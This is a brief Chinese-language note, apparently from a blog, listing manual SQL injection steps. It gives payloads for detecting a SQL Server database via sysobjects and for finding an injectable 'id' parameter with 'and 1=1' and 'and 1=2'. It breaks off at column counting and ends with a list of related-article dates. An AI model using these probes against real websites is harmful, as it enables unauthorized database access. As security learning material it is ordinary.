1.判断数据库类型 id=1 and (select count(*) from sysobjects)>0 2.判断注入点 id=1 and 1=1 id=1 and 1=2 3.判断列数 url编码的空格是%20 相关文章: 2021-05-20 2021-09-13 2021-08-24 2021-06-26 2022-02-22